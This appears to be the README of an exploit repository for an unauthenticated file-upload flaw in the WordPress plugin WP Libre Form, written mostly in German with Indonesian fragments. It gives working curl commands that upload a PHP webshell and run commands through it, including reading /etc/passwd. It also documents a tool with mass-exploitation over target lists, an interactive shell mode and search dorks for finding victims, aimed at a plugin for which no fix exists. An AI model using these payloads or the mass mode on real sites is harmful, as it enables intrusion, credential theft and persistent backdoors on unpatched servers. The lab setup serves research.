
Erkennung und Exploit-PoC für CVE-2026-118423, einen nicht authentifizierten Datei-Upload zu RCE in WP Libre Form <= 1.5.0.1, mit Webshell-Upload, Massenmodus und Laboreinrichtung.
Plugin-Status: am 8. September 2026 von WordPress.org geschlossen — keine korrigierte Version verfügbar. Verifiziert: 2026-11-06, isoliertes Labor (WP 6.7.1 / PHP 8.2 / Apache).
Das WordPress-Plugin WP Libre Form speichert Dateien aus Formular-Einsendungen ohne jegliche
Validierung von Typ/Erweiterung. Der Handler ist am Hook wp_ajax_nopriv_* registriert (ohne
Authentifizierung) und ruft move_uploaded_file() ungefiltert auf.
Ein Angreifer ohne Konto lädt eine .php-Datei nach wp-content/uploads/ hoch → die Datei ist über das Web erreichbar →
RCE als Webserver-Benutzer (üblicherweise www-data).
# 1. Upload webshell (unauth, tanpa nonce, tanpa login)
curl "http://TARGET/wp-admin/admin-ajax.php" \
-F "action=wplf_submit" -F "_form_id=32" \
-F "[email protected];type=application/x-php;filename=pwn.php"
# -> {"ok":1,"submission_id":55,...}
# 2. Eksekusi
curl "http://TARGET/wp-content/uploads/2026/11/lf_2611060113-0-pwn.php?c=id"
# -> uid=33(www-data) gid=33(www-data) groups=33(www-data)
| Typ | CWE-434 Unrestricted Upload of File with Dangerous Type |
| Auth erforderlich | Keine |
| User interaction | Keine |
| Voraussetzung | Mindestens 1 veröffentlichtes wplf-form-Formular (üblicherweise die Kontaktseite) |
| Auswirkung | RCE — Befehlsausführung als Benutzer des Webservers |
| CVSS 3.1 | 9.8 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Fixed version | Keine (Plugin vom Hersteller eingestellt) |
Durch die RCE kann ein Angreifer wp-config.php lesen (DB-Zugangsdaten), auf
das Dateisystem zugreifen, sich in das interne Netzwerk pivotieren oder eine dauerhafte Backdoor installieren.
inc/wplf-ajax.php — wplf_ajax_submit_handler():
add_action( 'wp_ajax_nopriv_wplf_submit', 'wplf_ajax_submit_handler' ); // <-- tanpa auth
foreach ( $_FILES as $key => $file ) {
// Is this enough security wise? <-- diduga sang penulis sendiri
if ( $should_store_images_in_medialibrary ) {
$attach_id = media_handle_upload( $key, 0, ... ); // aman (WP core memfilter)
} else {
$name = 'lf_' . date( 'ymdhs' ) . '-' . $counter . '-' . sanitize_file_name( $file['name'] );
move_uploaded_file( $file['tmp_name'], $uploads_path['path'] . '/' . $name ); // <-- RENTAN
}
}
sanitize_file_name() filtert keine Dateiendungen. Es gibt kein wp_check_filetype(),
keine Whitelist/Blacklist, keine MIME-Prüfung.
| # | Endpoint | Auth | Anmerkung |
|---|---|---|---|
| 1 | POST /wp-admin/admin-ajax.php (action=wplf_submit) | ❌ | immer verfügbar |
| 2 | POST /wp-json/wplf/v1/submit | ❌ | benötigt Pretty Permalinks |
| 3 | POST /index.php?rest_route=/wplf/v1/submit | ❌ | immer verfügbar |
Die Wege 2–3 sind REST-Routen, die ohne permission_callback registriert werden —
WordPress selbst markiert dies über den Header X-WP-DoingItWrong.
poc.pyAutomatische Erkennung + Ausnutzung, Menü- oder CLI-Modus, einzeln oder massenhaft.
[1] Single — detect
[2] Single — exploit (upload + verify)
[3] Mass — detect (targets.txt)
[4] Mass — exploit (targets.txt)
[0] Keluar
git clone https://github.com/im0xfay/CVE-2026-118423 && cd CVE-2026-118423
pip install requests
python3 poc.py # menu interaktif
python3 poc.py -u http://TARGET # detect-only (default)
python3 poc.py -u http://TARGET --exploit --i-know-what-im-doing
python3 poc.py -u http://TARGET --exploit --i-know-what-im-doing --shell
python3 poc.py --targets targets.txt -t 10 -o hasil.json
| Flag | Funktion |
|---|---|
-u, --url | Ziel (kann wiederholt angegeben werden) |
--targets FILE | Zielliste, eine pro Zeile |
--exploit | Upload aktivieren (destruktiv) — erfordert --i-know-what-im-doing |
--i-know-what-im-doing | ausdrückliche Bestätigung für --exploit |
--shell | interaktive Shell nach RCE |
--endpoint | Pfad erzwingen: auto / ajax / rest / rest_query |
--field | Name des Dateifelds (Standard: Auto-Probe von 6 Kandidaten) |
--tz-offset | Timezone-Offset des Servers (Stunden); Standard: Auto-Sweep |
--cmd-param | Name des Befehlsparameters der Webshell (Standard c) |
-t, --threads | Threads für den Massenmodus |
-o, --json-out | Ergebnisse in JSON speichern |
-q, --quiet | nur VULN/RCE anzeigen |
-v, --verbose | jede Anfrage anzeigen |
| Tag | Bedeutung |
|---|---|
RCE | Upload und Ausführung verifiziert (uid= aus der Webshell gelesen) |
VULN | Unauth-Primitiv nachgewiesen / Datei hochgeladen, aber Ausführung noch nicht bestätigt |
INFO | Plugin erkannt, aber kein veröffentlichtes Formular vorhanden |
CLEAN | Plugin nicht erkannt |
UNKNOWN | Ziel reagiert nicht |
Vollständige Reproduktion im Lab — reale Ausgabe:
$ python3 poc.py -u http://127.0.0.1:8096 --exploit --i-know-what-im-doing
RCE http://127.0.0.1:8096 v1.5 [ajax] shell=http://127.0.0.1:8096/wp-content/uploads/2026/11/lf_2611060113-0-lf-poc-4w54cm7nbb.php
- route wplf/v1/submit tanpa permission_callback (X-WP-DoingItWrong)
- form 32 reachable via ajax
- time-anchor: server Date header
- exec: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Objektiver Nachweis (nicht nur ein Marker):
$ curl "<shell>?c=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ curl "<shell>?c=head%20-2%20/etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
./scripts/fetch-source.sh # ambil source plugin rentan (tidak disertakan di repo)
./scripts/lab-up.sh # bangun lab: WP 6.7.1 + MySQL 8 @ 127.0.0.1:8096
python3 poc.py -u http://127.0.0.1:8096
./scripts/lab-down.sh # matikan
Docker erforderlich. Das Skript verwendet einfaches docker run (nicht docker compose).
lab/docker-compose.yml ist als alternative Referenz beigefügt, falls das
Compose-Plugin verfügbar ist.
poc.py tool utama (deteksi + eksploitasi)
CVE-2026-118423-report.md laporan lengkap (8 seksi)
README.md dokumen ini
DISCLAIMER.md penggunaan yang sah & risiko
SECURITY.md kebijakan pelaporan kerentanan
LICENSE MIT
docs/
root-cause.md analisis source + bukti dari lab
exploit-chain-verified.md rantai eksploitasi yang terverifikasi end-to-end
bypass-analysis.md teknik ekstensi yang diuji, + hasilnya
self-attack.md 10 mode kegagalan & mitigasinya
fofa-dorks.md dork pencarian target
run-log.md log riset + bug yang ditemukan
scripts/
fetch-source.sh ambil source plugin rentan (SVN → src/, gitignored)
lab-up.sh bangun lab
lab-down.sh matikan lab